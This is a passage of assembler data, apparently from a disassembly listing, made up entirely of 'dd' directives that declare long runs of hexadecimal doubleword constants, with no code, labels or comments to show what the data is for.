		dd 0EE50C0ABh, 0F101E0A9h, 45F6F7h, 0FAE80E16h,	33DA663Dh
		dd 6D22C3Dh, 0AB4AB18Ah, 73173D0h, 0F4F92A04h, 7ABA013Eh
		dd 9DFFCCE1h, 14A51500h, 8ED949F0h, 8FCA00C8h, 0DAD281BFh
		dd 0ADF28809h, 31C6AE1Fh, 4449CC40h, 0D8FFE1h, 0A1A36DD3h
		dd 21E647FAh, 6CFB41Fh,	0D8D0BFD3h, 0B5E683Eh, 8CEE53F4h
		dd 0B4B63502h, 52C0E28Fh, 49CD615Ah, 819E2600h,	8C5F9D1Eh
		dd 0C6E60409h, 800AC1DFh, 1A7E799Eh, 95390B00h,	0BD156E8Eh
		dd 449F03E5h, 0FC67DC35h, 333842F8h, 96236200h,	0FA99EC48h
		dd 79185CA1h, 4B201600h, 0B5D675E5h, 7D09F600h,	98379480h
		dd 417B96h, 99C44630h, 0FAEFB38h, 6095350Bh, 42C0C0CEh
		dd 91742516h, 62A3288Eh, 0B4F85FA2h, 0A3000D21h, 0FA40F5A8h
		dd 77F00BBFh, 33E200EFh, 0EB5DF9D5h, 3C01301Bh,	3F9341AEh
		dd 6FC40C0Dh, 435800BFh
		dd 0EBAA537Ch, 0E0588635h, 0F2DD1604h, 4A2F5C01h, 0D810DE16h
		dd 0F0902BAEh, 191B8B03h, 0B1A136BAh, 99FFCA44h, 41968903h
		dd 6F7C3C98h, 0AD4C9012h, 3010CC09h, 79C6B7C8h,	0BC7C00A7h
		dd 7919282h, 0B1E0B63Eh, 4E8374Ch, 38D7FBB7h, 0D9EED491h
		dd 6A60C108h, 0DA595060h, 51F91FA8h, 407C1305h,	5DA791ACh
		dd 4F1221D7h, 6CC0C0CBh, 74EFA22Fh, 1B7A7B19h, 18C5B21Ah
		dd 0DAB3E983h, 0A3972588h, 7C7D820h, 35195D7h, 36998059h
		dd 410063F0h, 0E325D111h, 0B01EDC16h, 9C300A9h,	3BDD283Eh
		dd 6B00CBCEh, 1B381DACh, 16F2587Dh, 0F8E9612Bh,	179002Ch
		dd 0CD36A0B8h, 17970567h, 4E04AED3h, 4520FB98h,	929FD044h
		dd 1D0B7458h, 0F9D724Ah, 0EFC9B380h, 9D6B40h, 651BB043h
		dd 0FBCF2F27h, 0BA013800h, 0A2A55BBEh, 4DB401F3h, 5C2D90D0h
		dd 9F19E846h, 0DC33D700h, 0E9292679h, 4FB600DFh, 0A4B35382h
		dd 0B1751C91h, 11A8E060h, 602D0Fh, 24E8D31Eh, 0F3C87E75h
		dd 3182500h, 0DE8C13A5h, 0C3E90110h, 0BF1EDEEh,	0E0EBD8C7h
		dd 0D6188D67h, 0A29DCCD1h, 0EECC89CDh, 63C800B5h, 184C35E1h
		dd 8307DBFCh, 9836817Ah, 0B470D977h, 0A8EBC7h, 4E8C2628h
		dd 552B3DD2h, 0BD40C400h, 0A5B6827Fh, 36EEC2h, 56903583h
		dd 5A519A23h, 0C10003F8h, 3B416963h, 31D90Ch, 76CB47EDh
		dd 38B76120h, 0E8F5EE00h, 6A3F8D30h, 0AE391CADh, 872D80F8h
		dd 905FDD8Ch, 6E349F01h, 40DB74EEh, 6C05BC2Ch, 83EFD49Dh
		dd 0F3E175CAh, 2E44600Fh, 28ACA50Bh, 0ABD860E7h, 55D7005Ah
		dd 12881E13h, 61008FD4h, 0D934D6EEh, 366574Fh, 18C125D5h
		dd 0B0E7D2B0h, 3169B25Eh, 3B6D8607h, 2D607612h,	206770h
		dd 85114AF6h, 1BA55D5Bh, 9217CAE8h, 64047BB8h, 4816AAAh
		dd 3A5317h, 0CE9ADC9Fh,	0C00012EEh, 0F764199h, 0F067245h
		dd 39073F9Ch, 617167C0h, 640440DEh, 53B428BCh, 0B65F8FC0h
		dd 0B57A0Dh, 0FC0A817h,	9465A4C6h, 0C168D50Ah, 2300E075h
		dd 4D74CBD8h, 0B51030Eh, 0E9DA8F31h, 8D9D81C0h,	1564A3Eh
		dd 401D6571h, 80D1764Bh, 1D0A8AD8h, 40172ACBh, 0F2432862h
		dd 3600D15Bh, 39413D0Ch, 1E78819Ah, 141A8DCFh, 79D0E2h
		dd 0C829F356h, 0E8543EC6h, 0E6B1B700h, 581A5083h, 0F4BA40h
		dd 7F4BFE9Ah, 4F84D22Bh, 3BA93824h, 0E9F34600h,	0C62064h
		dd 54E32275h, 94FA9E7Dh, 0D59CA0Fh, 0E2C7405Fh,	10692CDh
		dd 0A22A74D6h, 4093ABCEh, 735CB4C4h, 0A800FC5Eh, 5F8ED7DBh
		dd 4CB823h, 6635676Bh, 0C3162943h, 28D10A1Ch, 0ACF28DC0h
		dd 7CB651Ah, 0EE419C32h, 1AD9352h, 0AFD643B8h, 0D2CC7A00h
		dd 0DD09DC74h, 54FB006Eh, 22848A36h, 0A201113Bh, 7EE2D94Dh
		dd 85CD24D0h, 0E01D61DCh, 8D7F0096h, 63B564DCh,	0BAA19733h
		dd 0C8E1F8ABh, 112F8600h, 250BE61Fh, 4F6E0379h,	91DCFF4Dh
		dd 8C2D8B88h, 5FB4D200h, 5C95B2CAh, 1247B37h, 0C3188790h
		dd 0F027F68Dh, 0F896D050h, 80A62309h, 7130C0F8h, 58110069h
		dd 0FA6FB26Ah, 7F00678Eh, 8262DE03h, 1FCAB4h, 4E0ED9D8h
		dd 2B632EFh, 2700B87Dh,	2F7B5D9Dh, 0FCCCDFD1h, 99E41Bh
		dd 77F467D2h, 8506FF8Bh, 87FD6602h, 80F02415h, 0FCFA5EECh
		dd 0CE1F0458h, 0C01C2BADh, 6FAB0778h, 8440D407h, 0C7F0B403h
		dd 3FEAA21h, 572531BEh,	28328B1h, 0E3AE2EE0h, 0D7C3D901h
		dd 78823283h, 800BEC47h, 0C758F621h, 51062D65h,	70C9E000h
		dd 0E70097B1h, 18ABE6AAh, 0F6EDFAh, 0C325D08Bh,	0D31DC97Ah
		dd 7EC76703h, 0D06AE691h, 410B76h, 28FE38FDh, 0F6FC5EB2h
		dd 0F8A3D900h, 0D20972ECh, 0C7D40097h, 8A9F4D98h, 7100475Fh
		dd 39F5B068h, 507F34h, 7A99B804h, 0F745A76Dh, 0C73E91F6h
		dd 7C27014Eh, 0D39CE54h, 95F020h, 40862BB4h, 85A1FBEFh
		dd 0EB1E0290h, 80075E48h, 0B6506BDAh, 0FDE696h,	5F18C8DBh
		dd 0EBB8ECD4h, 2800994Fh, 0AE2A4934h, 673500E0h, 4821F691h
		dd 0D600864Bh, 0BFBA4FEDh, 0D31CF2h, 0F6C9D781h, 2541F4C2h
		dd 45E7C05h, 0AAEC5A7Bh, 4A8C0601h, 0C4D43F02h,	0A20BB8D9h
		dd 0B5250B9h, 3F44E6ADh, 2380C827h, 39C24B8Fh, 70B0CACDh
		dd 0F21D7E77h, 14405035h, 6B0D38A4h, 53E51784h,	0F2008EF6h
		dd 156189Bh, 6D07ABEEh,	1A557EBAh, 109C608Eh, 989197h
		dd 5A1126C2h, 1B809342h, 47AA9503h, 0D801BD46h,	13693BDEh
		dd 405BA58Fh, 328D2CE8h, 0F709398Ah, 857DBCh, 55E8E23Ch
		dd 565E3049h, 7996B030h, 0AFE64300h, 5B8CDE85h,	22D10ED0h
		dd 1083253Eh, 60F05D1Bh, 700A0D5h, 0C6A99008h, 0FBB36F6h
		dd 535F3261h, 0C4FCA425h, 3AC541h, 7B2FF164h, 0F300F9C0h
		dd 0A2DB84CBh, 1E8AD3A7h, 0C0856338h, 0CE693F2Ch, 0CD1CCA48h
		dd 0A35DAA56h, 6A507CC7h, 253F13C0h, 0ADC10760h, 0FB911DE9h
		dd 1401E000h, 0E825BEACh, 0F8D0809Ah, 1D89E77Bh, 3728776h
		dd 8D438C4h, 66823D8h, 506B4E01h, 29F46180h, 2D25E8h, 540288C5h
		dd 4360F62h, 0A0309D00h, 63485EF6h, 59412889h, 71AF158Ch
		dd 5200884Ch, 0B92D190Ch, 8C0069F7h, 12A8A0F2h,	2CA756A3h
		dd 0B3405Fh, 82CDD84Eh,	1600A45Ch, 915968FBh, 90FECB4Ah
		dd 0A57B0224h, 6733A74Fh, 0E43A00C8h, 78FCE00h,	0CC6B77D5h
		dd 3200E80h, 9BC00E15h,	6C7E1210h, 23DBEB1Fh, 14B9C800h
		dd 9EF26B2h, 646337BCh,	54612400h, 0BE0C9Bh, 0BC806880h
		dd 0EA222F91h, 0C0A90095h, 0A5273CFCh, 0D098F88Fh, 0B9871501h
		dd 2EAAB456h, 0EE8E8DEh, 0D8E4A806h, 3AC261C3h,	6072C79Ah
		dd 9E05A5F8h, 22A651FEh, 0CF49EC80h, 31F201DAh,	0BA782EFh
		dd 0A507476h, 0E7F1B4Ch, 0A0A2FAF7h, 0A978638Ch, 80774E47h
		dd 65C945F8h, 0EC675907h, 0C03EEB33h, 7CAB877Fh, 0E5A00011h
		dd 5B4507A4h, 7E00BE84h, 2B2F683Bh, 0A10678h, 0D0B9F234h
		dd 0EF427B94h, 0DD9E8C00h, 1F7E037Dh, 0FA27FE06h, 97F5009Fh
		dd 920C6D31h, 51002BD1h, 504BBB9h, 161138AFh, 3B4254h
		dd 0F3C4B310h, 3C005B4Dh, 969DEE31h, 1C0EE1h, 9A91CCA2h
		dd 77CA8EF0h, 0B81E0BB0h, 0C3C14D2Fh, 18709C26h, 46DC20h
		dd 0E77E82FDh, 0E1C862E9h, 0CDB888EFh, 61E2802Ah, 1C1B2101h
		dd 0BA49DA14h, 0FEAF1CD8h, 0C1293280h, 36D3BDFDh, 21A28416h
		dd 435B2F00h, 5916A0Bh,	407007Eh, 2425B52Bh, 0BB0F399Eh
		dd 80A715BDh, 5CB2D1C2h, 3DD0CABh, 5340B997h, 0E43D5F07h
		dd 9C60A27Ch, 156BBAh, 9F89BDAFh, 0A485B9FEh, 0AE8AA0A0h
		dd 0E6005071h, 7E448E01h, 5265DEh, 2CAA67CBh, 84C97021h
		dd 0CF31E400h, 60077725h, 0B96D1D78h, 0F4368062h, 5974E69h
		dd 230087E2h, 1B980AB3h, 0FE32EC72h, 0DDD100BEh, 10BD9574h
		dd 3C004A2Dh, 8C11C4BFh, 4505CCh, 60DF39A4h, 0AAF76558h
		dd 0E514890Eh, 980285C8h, 9E0F80EEh, 8C2E6E57h,	66004D79h
		dd 7B8DA03Fh, 4631079Dh, 60F8901Ch, 0A5508639h,	0CA04C007h
		dd 36501611h, 67E5642h,	107BAF3Ch, 0CE0338A3h, 0A0A76073h
		dd 0C8864E8Fh, 3100A48Ch, 0E41F7924h, 93FF94h, 0E729A132h
		dd 115286EEh, 79CF0350h, 57385D04h, 83BC4409h, 0FEC9A840h
		dd 752B00A4h, 0A2704796h, 0B1026E6Ah, 8B643F95h, 582CD0F0h
		dd 3900F88Ah, 16E27C21h, 80951CA2h, 859AB5A8h, 0F85501F9h
		dd 0BC681EB0h, 6257D0F7h, 0C16B0A00h, 0ED1C4C33h, 0B90B0CC5h
		dd 563863D1h
		dd 19243Ch, 3A0901B8h, 782C8CEh, 0E41BBA74h, 91A110B2h
		dd 1F01B98Fh, 51F820C2h, 23E02FFh, 881226DCh, 2F1EAC70h
		dd 116D3259h, 71711C4h,	0E07E00E4h, 0F2005A3Ch,	0EB5B8EF8h
		dd 4629EEh, 0A5B90155h,	9A3037F1h, 164A9E09h, 1338C0C3h
		dd 0F6A20078h, 4F3FEF2h, 891602C5h, 0EC1CD4FBh,	0EC969989h
		dd 34360248h, 484B3510h, 4A798450h, 3FFC1500h, 179EEEAh
		dd 0E1B06Ch, 7F64D59Ch,	61125B9Ah, 4A415E17h, 0A817B445h
		dd 56A6EC80h, 0D4EC1h, 0E8CDBBD0h, 0BCBA8B48h, 32802800h
		dd 0BA58D9A0h, 293B600Ah, 0E6BE5973h, 69C00200h, 0E8CCD93h
		dd 4F97480h, 0F22A98F7h, 2E0890A1h, 0E318A357h,	3107D1Bh
		dd 0E45A0FE8h, 6898FF54h, 9400D837h, 95662178h,	1C604Bh
		dd 382D1A5Fh, 81161935h, 0D45BE000h, 8D0E4A6Fh,	0CB690125h
		dd 0C98A61BAh, 6CC207Fh, 0FD000FB0h, 63C3EAF1h,	24B4A6F9h
		dd 3FB0B351h, 8A5F0500h, 2F26568Bh, 6F21C8FFh, 0FACC4500h
		dd 80393C0Fh, 0F02B09CAh, 3087524Eh, 0DBE31062h, 0C34836BAh
		dd 393060A5h, 0B8933Dh,	3860905h, 2513C483h, 0DF0452FEh
		dd 0A14F1FBAh, 0A4AAC6C0h, 6B5EE9Ah, 1ECB4912h,	0D0F118A2h
		dd 22003E2Eh, 7C407D0Ch, 530D6Ch, 171CD384h, 5532DCA5h
		dd 146E2700h, 0EB167537h, 0F887E14Fh, 0A0849C23h, 1A9F7D2Dh
		dd 0E2F65Ch, 0FE2201F2h, 927279h, 8CE9B04Eh, 8985CCB1h
		dd 9FE8071Ch, 0CBCD6C40h, 126735h, 8B091317h, 2F57198Eh
		dd 2DF0FC1Eh, 0ED6BB242h, 64C3404Ah, 0B6120036h, 0F43BFD9Fh
		dd 117427Eh, 47005F3Ch,	0CA8D90CBh, 18BF002Ch, 0CE819AF5h
		dd 0C5304801h, 396A19FBh, 0AFAA00BAh, 0A999A4B3h, 0B5E0C243h
		dd 70FD70ECh, 1800663Bh, 0EC7BBF28h, 459E7Dh, 24575D6Bh
		dd 931EB7F3h, 77547C0Eh, 50ACAD98h, 3FCBEF0h, 5B892DE0h
		dd 0B1067F78h, 31C15C11h, 9D1D0038h, 0AD2D3CB5h, 7C0C4A1Bh
		dd 9912B0EAh, 0CBEF202Eh, 738E9900h, 0DBB676CCh, 6F48C0D3h
		dd 0A5D6CE9Ah, 1C2A1701h, 726E67A3h, 0AB358080h, 0EB6258D8h
		dd 7DB88A03h, 0F059DA0Dh, 1E4BE69Ch, 80691E1Ch,	43C91816h
		dd 0F200969Ah, 938DB140h, 0D84AE5h, 0EB15249Ch,	0A60A82F6h
		dd 0C9005D98h, 6FD22AA5h, 0CAA95Dh, 24F16CD0h, 1F46584Ah
		dd 0E29E9D0Fh, 8EC160B1h, 48660DE8h, 703E1E90h,	9F9EAD3Fh
		dd 1ACAA40h, 0C5C1DB49h, 0C8D82634h, 6C00B424h,	0E044B91Ah
		dd 0A522850h, 954A361Bh, 0C2660098h, 9AB3C427h,	48298600h
		dd 1DC7C567h, 0EFB21216h, 0FF0409D9h, 19276000h, 0DF003FDBh
		dd 28F33C52h, 6C9C75h, 7AFDA65Fh, 977B33C3h, 0A449FB39h
		dd 0BAB479h, 0B146CFADh, 0CF0C55EFh, 0FE8A2B80h, 293A0EC0h
		dd 0C7C4D1A7h, 0DC7BB127h, 80FCC3FCh, 0E114C7B0h, 49AA5600h
		dd 0B07478DAh, 82AE0064h, 7143A619h, 7001387Dh,	18F5F59h
		dd 9086862Ch, 8034535Dh, 0A1A39200h, 165C3C06h,	2C90BDh
		dd 76C996FDh, 5045DB2Fh, 31F9D300h, 0CA7E51D5h,	4C9F01EDh
		dd 0B9991F55h, 481C2484h, 0F388E460h, 929DAD76h, 0DBAB0010h
		dd 0EF667D96h, 2278DCE7h, 5C5F7000h, 6AFCD4AEh,	1E2A008Ah
		dd 0F6CF2C60h, 9401C7E0h, 70FF41A9h, 90851CD1h,	0C0A521ACh
		dd 0B320347Eh, 45685800h, 0CBC49CD2h, 91040078h, 0E3B22784h
		dd 0AA303EC5h, 0D103844h, 5E300FA5h, 0C8A118F0h, 2005B046h
		dd 0AD019C40h, 0E7DE96A8h, 16013B3h, 0FABC3ED9h, 198F00F5h
		dd 0D587B2C5h, 0A100BF58h, 4652E5B8h, 3E2AEE37h, 5A1F1A65h
		dd 0F1BDC03Bh, 1999D7FEh, 80E5DD3Dh, 43861FE9h,	72E3BC57h
		dd 0F94C0059h, 551DDFD9h, 9B3E9721h, 53260038h,	61688E90h
		dd 38B09058h, 0B71C201Ch, 87B64F15h, 55C0904Fh,	1EA13508h
		dd 6A09C205h, 35C085D8h, 39CFC56h, 46F5255Fh, 0F4E0DE39h
		dd 57003C67h, 0B05B60FEh, 0DCFB50h, 0A6FAB2F0h,	43E1BB9h
		dd 0ED8B1D00h, 49FD996Ch, 27860E88h, 43C0A446h,	0FFF8A082h
		dd 0A5228A00h, 0C7FDAB75h, 0C869007Ah, 3E48883Ch, 9102FA86h
		dd 50A4F0C9h, 53734001h, 315800CAh, 8529B5F9h, 33002A60h
		dd 831399D5h, 3A2C47C8h, 5782A979h, 988090CCh, 0EF30ADE0h
		dd 9A29F800h, 0FDBCE976h, 0C9360032h, 0BA1C1F5Ah, 0BB0079D5h
		dd 3A1138D4h, 378BE88h,	0E0BDC9A9h, 1877910Dh, 23F656B8h
		dd 2610DC00h, 9E47936Ah, 0D9B40007h, 2C3A0FF5h,	1E50112Bh
		dd 3600B174h, 296D3704h, 30D91B1Fh, 9A286FAEh, 0D8037BA0h
		dd 0C733A8B7h, 0E4C0FF50h, 1C3BB5h, 98929D22h, 0D57E5A02h
		dd 0D6865C00h, 0B3D423CDh, 0E3F628h, 0C9AEBFE2h, 0E83B6D3Ch
		dd 5E24DF07h, 35073D42h, 0FC6ED4B0h, 0F22B00EFh, 5571BFEDh
		dd 63C1329h, 0CA5180C5h, 0D8BA1BE4h, 31380B3Ch,	0FB804D2Ah
		dd 8F336218h, 6D287C1Ch, 0ACDF15h, 0CEEF8119h, 8040B2h
		dd 5B31779Fh, 0ABAC4561h, 983FA707h, 12908AC4h,	1420C9Dh
		dd 8CB15905h, 0F088F3EFh, 4600A16Dh, 74A5654h, 90B8E8C6h
		dd 6B96101Ch, 6A77B1D4h, 9840E6C1h, 1C7A16E3h, 40712919h
		dd 228E279Fh, 62007DA7h, 0EECCE9C4h, 0F081A2CEh, 1FFA55h
		dd 77E0BCC9h, 0BD5D7F18h, 0D0F89700h, 9E6C70A4h, 0ED21008Fh
		dd 758223C4h, 963E6750h, 0A0370066h, 7B872C40h,	0E0143C10h
		dd 0C69A2D80h, 6A06F018h, 0B8F41174h, 42C548h, 26FC665Bh
		dd 1F6EF289h, 407D152Fh, 0CB2EEEAEh, 0DD007EC3h, 982B6753h
		dd 18916C8h, 45B1BC52h,	0CC7F6317h, 2A00D0E7h, 78BD8E9h
		dd 408396h, 0D210789Eh,	80151C36h, 0DFC7080Fh, 0BDA58042h
		dd 0B4D2Ch, 0D9D5BE3Ah,	4C9A606Eh, 1EA85607h, 6820B070h
		dd 7B1740h, 9C99A7FBh, 28DA5359h, 9B429E00h, 0CBB043F0h
		dd 0AFE30091h, 50B67A68h, 0AE735A37h, 0DC408B00h, 49BAF12Fh
		dd 318D006Bh, 0B9032B5Dh, 0A1714138h, 0DBD43F02h, 0C0BCF9D8h
		dd 40E47Eh, 21674265h, 0AD5A72FAh, 270F3400h, 26579D58h
		dd 993F0019h, 0BA5ED745h, 0F702291Dh, 0F1BDCAFh, 98304024h
		dd 0ACD400ADh, 0E1FEFD2Fh, 50758814h, 4D25CA00h, 0A7EDDAF6h
		dd 0BB573982h, 64013C80h, 0B20842C6h, 0FA0075F8h, 0E7137EDCh
		dd 2F7268h, 0DD369412h,	0D9B27ACh, 0EE0CCB03h, 0D3DB70AAh
		dd 138FBB5h, 33ECE778h,	0CCE6E0C2h, 0C7616C52h,	13FD1F18h
		dd 0B4C89880h, 0AA634C80h, 6F4DE906h, 0F0189CF6h, 1E10C0E1h
		dd 90C9FBC7h, 0D35420C2h, 0C0470191h, 0F33F4E6h, 0E9CB2D31h
		dd 0E0F88465h, 0C72F3412h, 95402C20h, 64613085h, 1F2830AAh
		dd 53E21094h, 3B4E6C00h, 72F08470h, 0C676007Eh,	7CA64F9h
		dd 30174AFFh, 0A51E227Fh, 33BDEE40h, 2B4E48h, 0B374C9C0h
		dd 415F1E4Ch, 0FE78690Ch, 7B6188Ch, 4F022E04h, 93D7C086h
		dd 48001B45h, 0C9C1E2FEh, 606DB597h, 0DA69B0D4h, 4C3004D1h
		dd 6F8D30D0h, 72A3016Ch, 2354AC4Ah, 4018B130h, 0C007E9C0h
		dd 849E73Dh, 0C8A0D150h, 0FA4F5F18h, 2A179828h,	0A49993h
		dd 3928C40Dh, 2EFC7274h, 9C0F9CCh, 99B41847h, 781B88D5h
		dd 6151F460h, 30986AB5h, 54D19242h, 59030B31h, 0DB89D86h
		dd 0CE410790h, 0B28B0119h, 0D4A0DCEDh, 62E2E948h, 920716E8h
		dd 87D1C669h, 5AAE51C0h, 11311AACh, 600060DCh, 0FEB82C7Fh
		dd 0EF3A6E00h, 4412AE05h, 197074h, 771664F0h, 42B32FF6h
		dd 0E07D8800h, 61759BB8h, 0E1EF5046h, 38A078Dh,	64AF897Fh
		dd 600DC7C7h, 5FA776E2h
		dd 0F540D80Eh, 278004Dh, 0E04E5E25h, 480CF420h,	74099Bh
		dd 0D257D148h, 0D0CADDABh, 0A053F401h, 0AFB5FC5Ah, 9480C083h
		dd 8B80EB31h, 0B400CADEh, 5EA8A635h, 9C455Ch, 0FB85F499h
		dd 0C2F3D323h, 0CBBC550Fh, 0D85020D4h, 46109Fh,	3875AE6Ch
		dd 0B07B8CB9h, 0EF95970Ah, 1280C82Fh, 0F4F3E81h, 4080054h
		dd 8A80AD92h, 0CFE8BD7Ah, 0C400B0A4h, 46582FF4h, 1C891E3Ch
		dd 8499C80Ah, 8063E4DFh, 37220F84h, 0F082C407h,	8814952h
		dd 0D8CC7B3Eh, 0E8F448h, 0A65807B3h, 0A1C5D6E6h, 61796F03h
		dd 0DE81DCh, 6C1DD169h,	0B1B4021Eh, 821288EAh, 0B440653Bh
		dd 23FAEBCBh, 0DEFB1C62h, 0D49F4F90h, 73F21860h, 710CEFEDh
		dd 316A0F3Ch, 39FC3138h, 0F85141E9h, 0C40FE940h, 0E701C257h
		dd 376722D9h, 0B5517457h, 8980D280h, 6467BEB0h,	0E300409Fh
		dd 9D9BA93Eh, 1FBD38BCh, 871673FDh, 30F11D42h, 7CC133ACh
		dd 1ADBCD04h, 54917DAFh, 89846734h, 0C086E039h,	0EFDBFE19h
		dd 60C3F014h, 71D530BDh, 0C089AE17h, 3F800F39h,	34180555h
		dd 0EFC15AFCh, 0BB2B3CDCh, 38230A80h, 88D7EEBEh, 586CE71Eh
		dd 0EC814782h, 9965271Ah, 0AEA4C810h, 31C1F800h, 0FF0D1950h
		dd 2BAF58B2h, 0AC308009h, 0BC3F9800h, 0D3F488C4h, 0BA130301h
		dd 6BA0A958h, 14B042FCh, 91A4DD86h, 548A1F00h, 708466D6h
		dd 0B6C28200h, 8F18056Dh, 308E6023h, 4D74032h, 0CE7C3800h
		dd 140384DCh, 6E190069h, 63BF1F2Eh, 776782DDh, 39802648h
		dd 3EF2BE6Ah, 761418C7h, 0B400C213h, 0BF4BD4ACh, 8007DBA9h
		dd 5D3DCC3Ch, 8D982Ch, 458F93E8h, 0E0BF021Fh, 0B718EFA0h
		dd 80E68C3Dh, 90918BEAh, 3E8AC6Fh, 998E4E4Bh, 40014143h
		dd 13F26AC8h, 108142E9h, 5526482Bh, 17C0C31Fh, 0FC0382BDh
		dd 3CDCB0DFh, 58D87C75h, 3F31651Eh, 57A1A580h, 9B989090h
		dd 7700873Eh, 5FF059ECh, 7AAF2AE3h, 0B5360E60h,	0C0FF7F79h
		dd 0C2A59B5Ch, 900ECF88h, 20E9EAAAh, 0D3FE3165h, 0C98B0FFDh
		dd 0B56129B1h, 0A3CEAF25h, 0F540448h, 0CA507916h, 0B241D280h
		dd 0F601B3C8h, 0A8CB24B4h, 0BF0C35Fh, 2C0B9CCFh, 0F5CD0AF3h
		dd 81580414h, 910F0FCCh, 8A47111h, 10C55867h, 0DF01840Ch
		dd 0E151154Ch, 0F37B7600h, 0D9755BF9h, 0ED7B85h, 50287A02h
		dd 6917B234h, 4B08D803h, 80C0666Ah, 0DB52E1h, 775792Ah
		dd 0D5940C68h, 0F5DA9D07h, 1507A842h, 0F765C71h, 0E080C0FDh
		dd 2EF6F32Ah, 160056FFh, 9752CD5Ah, 44D69D4h, 7CBE9EB3h
		dd 4408077h, 0C126BF6Eh, 81002C9Dh, 5B572126h, 5DCC038Dh
		dd 0C7E4F748h, 5A826E90h, 3E1D3Fh, 2C6FD616h, 7D7086h
		dd 4B0330FBh, 1BB6457h,	0E841A103h, 0C8C1D4A5h,	391336h
		dd 0EA04AF29h, 4C84FFC9h, 0D3015079h, 7F78D7E7h, 46202CC2h
		dd 0F2CF00ADh, 5A74BF4Ah, 0CD00218Bh, 0E3529350h, 3BF6FC18h
		dd 0CDCC91E9h, 3AF8C200h, 384F372Eh, 557BBEF0h,	8DFA1100h
		dd 4277DD33h, 83510E6Ah, 602B5A15h, 0FCEBC500h,	5B00DE17h
		dd 0CB472F6Ch, 3977704Bh, 508001A8h, 0F9C8C5A1h, 2B0045B7h
		dd 60355D94h, 55171Dh, 8A169909h, 577B0618h, 9228447Dh
		dd 721EB852h, 298051F1h, 61A0410Dh, 962F1CF7h, 386CC0C6h
		dd 0EC656B0Eh, 377FF500h, 3394D28Dh, 0DC273D26h, 0BC00E63Eh
		dd 57319859h, 0F8146C30h, 0EC0255h, 4AE38210h, 10E20D8h
		dd 162D2864h, 0DF9F5726h, 17BD5097h, 4500D038h,	486BB63Ch
		dd 0E6E589D3h, 7E0C26AAh, 61780013h, 1EDEABE7h,	0E014A771h
		dd 0D84E0Ah, 418EDB59h,	3A252EEFh, 8A001CC6h, 478089ABh
		dd 0A00B2FB6h, 80AC3E8Ch, 53D36683h, 854C3F99h,	0CE444E9Fh
		dd 77CC2956h, 0C700A4A2h, 6CFAA791h, 0BB08CBh, 1A02E1B2h
		dd 30C27ACEh, 4345FD03h, 0D96DC32Ah, 0EE300980h, 8E870348h
		dd 3373230Dh, 2B922FD8h, 6114700h, 486DEDFDh, 8E131EB8h
		dd 0BAB100E3h, 47C30B27h, 29327D00h, 7175FACCh,	0C8535067h
		dd 0E98B02AAh, 0BC15E13Fh, 6A666057h, 6A902B8h,	0D066C3E2h
		dd 77B1B840h, 8458BC03h, 0E98869DDh, 1897DF06h,	0B540F74h
		dd 1191CB60h, 0C8A0049Dh, 4600C528h, 0CCC42E8Fh, 4D172Ah
		dd 36A6DC35h, 0BB656675h, 3AE9C902h, 80325792h,	0EED6B8F5h
		dd 1A2A0081h, 6C865F96h, 54008599h, 83EC98Eh, 1F95DAFCh
		dd 74E1318h, 40E97EFAh,	0B48D4A76h, 514C0800h, 0E635FD1Dh
		dd 7C1400D4h, 79CE23D3h, 89006F3Ch, 19C1B4D8h, 0FDDEA4h
		dd 85CAE48Fh, 87997010h, 7BA36A00h, 73F3F42Fh, 0D2150047h
		dd 0F5A22C0Ch, 4600ABB9h, 3855830Dh, 95CDE6D8h,	4A54F660h
		dd 0D9A2BB1Eh, 0AC4C040Ah, 1B533600h, 395993h, 0CD897FD6h
		dd 5A55A781h, 8DB17D0Ah, 0E912EEF5h, 21092100h,	7778E6h
		dd 151E559Dh, 348E48DEh, 7A7DB401h, 0FF88BD95h,	0D33CAC40h
		dd 2E9000AFh, 0A581C6BAh, 0D4143E23h, 187398Ah,	7B87059Ch
		dd 50D0FD16h, 67C800FCh, 37E1EC8Bh, 0ED00F2CEh,	5835D4B6h
		dd 16A3202h, 24671668h,	0DC86AEF0h, 930C4D6h, 165C8C6h
		dd 0BA3900A4h, 35214863h, 8C4CA54Ch, 4178073Eh,	0A3D96DFFh
		dd 0B75FEB48h, 3994E7C0h, 9AE0A0D9h, 0F8C703DBh, 6EFB1D59h
		dd 0A73C56A0h, 5E0F2B7Bh, 80E419B8h, 7817F72Ch,	0CE72008Ah
		dd 534BF42Eh, 4500FAA6h, 88D91A1Ch, 0F51743h, 0D6E52A58h
		dd 772532CCh, 0BAAC8900h, 5122A1ECh, 0DE43002Bh, 705B9312h
		dd 1F002496h, 6694ACA9h, 0FDAEE2h, 0A6B5B6CCh, 5C797F83h
		dd 91686000h, 0E1D46AF1h, 16634424h, 0B33BAC00h, 37F89938h
		dd 0F87C5FEAh, 1EBB002Ah, 0CB57F2F4h, 93D0063h,	40F52C28h
		dd 0FF0F1797h, 80353E72h, 144F2EFAh, 0B59E05DDh, 0CC6E7Dh
		dd 0D4719CE0h, 3C00D844h, 3B6A961h, 0C897DDh, 2CDA1DCDh
		dd 0CB222FF1h, 795C994Ch, 0C47BE000h, 3ED45453h, 0B98D0059h
		dd 0C77CE3Bh, 4B004A04h, 0D3A15D61h, 7D26AA9h, 9C582D1Eh
		dd 81FEC095h, 0E807DD70h, 38BF6521h, 6C4AC74Eh,	6D404820h
		dd 63AE0013h, 23827A71h, 0CA013A9Dh, 6139AB96h,	8B608E4Ah
		dd 0AC630065h, 0AE1594C4h, 0A6F8A828h, 14F70600h, 0EC3C86D3h
		dd 322C000Bh, 87E87E9h,	4600909Dh, 146DE6F7h, 6BC78Eh
		dd 9F11A2AFh, 58759520h, 2DB22E00h, 0F887D47Ch,	15E627h
		dd 0C0841C8h, 0B14C0720h, 0B3459424h, 0A158E800h, 4EF8254h
		dd 264E0B03h, 71BDC092h, 0EA00568Fh, 7294FC34h,	0B85F1Bh
		dd 79F13CE4h, 71BA9A16h, 8F00BE7Dh, 651D8C34h, 892C86h
		dd 379F911h, 2A66C275h,	80FE642Eh, 0BA4D0038h, 375EBE8Fh
		dd 91B081h, 2320C075h, 0FABB3B9Bh, 4A2ECB0Ch, 3EC76D3h
		dd 0DE9080A6h, 18007E88h, 440AC9FEh, 0AF34BDh, 1AAE794Ch
		dd 8B06E0A9h, 1382C5Dh,	0F6C03560h, 75C48751h, 9E150182h
		dd 0F4A2BF5Bh, 1349CC4Dh, 2771CB00h, 4344DBCFh,	0A9180A22h
		dd 8096E642h, 35BAD9BFh, 9C38DC3Ah, 0FB0073DBh,	0AEA91183h
		dd 145D2ADh, 0E49E7AEBh, 0E84DA526h, 5400106Dh,	0C7A8F991h
